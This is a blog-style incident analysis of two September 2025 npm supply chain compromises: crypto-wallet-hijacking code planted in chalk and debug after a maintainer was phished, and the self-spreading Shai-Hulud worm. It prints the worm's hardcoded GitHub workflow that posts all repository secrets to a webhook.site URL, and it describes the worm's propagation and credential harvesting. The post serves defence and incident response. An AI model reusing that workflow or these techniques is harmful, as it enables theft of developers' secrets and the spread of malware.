NPM Compromise: The Wrath of the Shai-Hulud Supply Chain Attack
A walkthrough of two major NPM supply chain compromises in September 2025: the Shai-Hulud worm and cryptocurrency wallet hijacking.

In September 2025, multiple NPM packages were compromised. Some of the compromised packages were highly popular, with millions of downloads per week. Two different sets of compromises were observed:
- The first compromise occurred around September 8th, 2025, when the packages were embedded with the ability to replace cryptocurrency wallets with adversary-controlled ones.
- The second compromise utilized the Shai-Hulud worm, which was employed to exfiltrate sensitive information from GitHub repositories.
- Initial reports about the Shai-Hulud worm emerged on September 15, 2025. GitGuardian observed activity related to this compromise from September 15 at 03:46 to September 16 at 13:42.
GitHub's Response: In response to the Shai-Hulud attack, GitHub removed over 500+ compromised packages from the npm registry. Additionally, npm blocked new packages that contained known indicators of compromise from being uploaded to the registry.
This blog will walk through both compromises and provide insights into the functionality of the malicious packages, as well as response recommendations.
First Compromise: September 8th Campaign
The campaign was first reported on September 8th, 2025, and the list of compromised packages included chalk and debug. Both are very popular npm packages, each of which is downloaded over 250 million times a week. The packages were modified to include malicious code that was subsequently executed.
I have no access to my account at the moment. It's in npm's hands for now. Sindre has already booted me off and published over chalk. debug and color/color-string/color-convert are still affected, along with many others I'm sure. Email came from support [at] npmjs [dot] help.
— Josh Junon (@bad-at-computer.bsky.social) 2025-09-08T15:27:43.639Z
Figure 1: Bluesky posts about maintainer about compromised npm packages. Source: Bluesky

This attack began by compromising a maintainer’s account with a phishing email and using the account to modify the packages. The threat actor registered the domain npmjs[.]help on Porkbun on September 5th, 2025.

A GitHub Gist contains the index.js file for the compromised version of the chalk npm package. The same code shown on line 12 of Figure 3 above is also present in the Gist.

The obfuscated code can be deobfuscated using tools such as deobfuscate.io. The first round of deobfuscation reveals code containing a list of cryptocurrency wallets, including Bitcoin, Bitcoin Cash, Litecoin, TRON, and Solana. While still heavily obfuscated, analysts can still review the code and understand its functionality.

Various cryptocurrency wallets are hardcoded within the file, and there are references to different types of cryptocurrency.


The malicious code also contains RegEx to match different types of cryptocurrency wallets. The malware intercepts connections to cryptocurrency platforms and replaces the wallet in the request with one of the hardcoded wallets. This allows them to replace payment destinations for adversary-controlled ones, achieved by either injecting itself into functions such as fetch, XMLHttpRequest, or through wallet APIs.


Second Compromise: Shai-Hulud Attack
The Shai-Hulud compromise differed from the previous attack in that it didn’t target cryptocurrency transactions, but was instead used to exfiltrate secrets from GitHub repositories. Significantly more npm packages were compromised in this subsequent attack. GitGuardian observed activity related to this compromise from September 15 at 03:46 to September 16 at 13:42. The malware utilized the TruffleHog tool to locate and collect credentials and secrets. Any data that was collected was exfiltrated via GitHub actions to the webhook[.]site domain.
As part of the attack, GitHub workflows were used to convert private repositories to public ones. The repositories that were turned into public ones had the description “Shai-Hulud Migration”, and the term -migration" was added to the name.
The malware also attempts to exfiltrate the following credentials:
- GitHub personal access tokens
- AWS access keys (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY)
- Google Cloud Platform service credentials
- Azure credentials
- Cloud metadata endpoints
- NPM authentication tokens

The malicious JavaScript file is available for analysis through Malware Bazaar.

The malware has self-propagation functionality through the updatePackage function. This queries the NPM registry to download the packages owned by the maintainer. Once these are downloaded, the bundle.js file containing the malware is written to the package. Once this file has been written, the package is republished.


Apart from updating other packages owned by the compromised maintainer, the malware downloads TruffleHog to collect secrets stored within the repo. The first step in running TruffleHog is to check the operating system architecture and type. From there, the latest version of TruggleHog is downloaded and installed.


Apart from collecting secrets and staging them for exfiltration, it creates a repo with the description “Shai-Hulud” as shown in Figure 16 below.

The data is exfiltrated using a GitHub workflow. The content of the workflow is hardcoded in the malicious file.

on:
push:
jobs:
process:
runs-on: ubuntu-latest
steps:
- name: Data Processing
run: curl -d "$CONTENTS" https://webhook.site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7; echo "$CONTENTS" | base64 -w 0 | base64 -w 0
env:
CONTENTS: ${{ toJSON(secrets) }}

Mitigation Recommendations
Responding to a supply chain compromise is always a challenging task, as pinpointing where packages are used or their versions may not always be easily verifiable. Nevertheless, a dependency review should be conducted for software that leverages npm. The yarn.lock or package-lock.json files may provide details about the packages in use.
When responding to npm supply chain compromises, once compromised packages have been identified and removed, it is recommended to clear the npm cache before reinstalling the package. In addition to reinstalling packages, consider resetting secrets and user credentials that may have been exposed.
GitHub’s Response
As of September 22, 2025, GitHub outlined a plan for securing the npm supply chain in response to these attacks. Included within this plan are the following actions:
- MFA required for local publishing
- Time-based OTPs will be deprecated
- Users will be moved to FIDO-based MFA
- Users will no longer be able to bypass MFA for local publishing
- Granular Token lifetime is limited to seven days
- Legacy tokens will be deprecated
- Trusted Publishing
- Reduces the need for long-term tokens or credentials to be shared with external sources when authenticating to package repositories
- Allows a package repository to authenticate an identity from an Identity Provider using OpenID Connect (OIDC)
- Requires a pre-configured trust policy
Compromise Packages
1st Compromise
Shai-Hulud Compromise
References
- https://blog.gitguardian.com/shai-hulud-a-persistent-secret-leaking-campaign/
- https://www.aikido.dev/blog/npm-debug-and-chalk-packages-compromised
- https://www.aikido.dev/blog/s1ngularity-nx-attackers-strike-again
- https://www.aikido.dev/blog/bugs-in-shai-hulud-debugging-the-desert
- https://www.wiz.io/blog/shai-hulud-npm-supply-chain-attack
- https://www.reversinglabs.com/blog/malicious-npm-patch-delivers-reverse-shell
- https://unit42.paloaltonetworks.com/npm-supply-chain-attack/
- https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem
- https://github.blog/security/supply-chain-security/our-plan-for-a-more-secure-npm-supply-chain/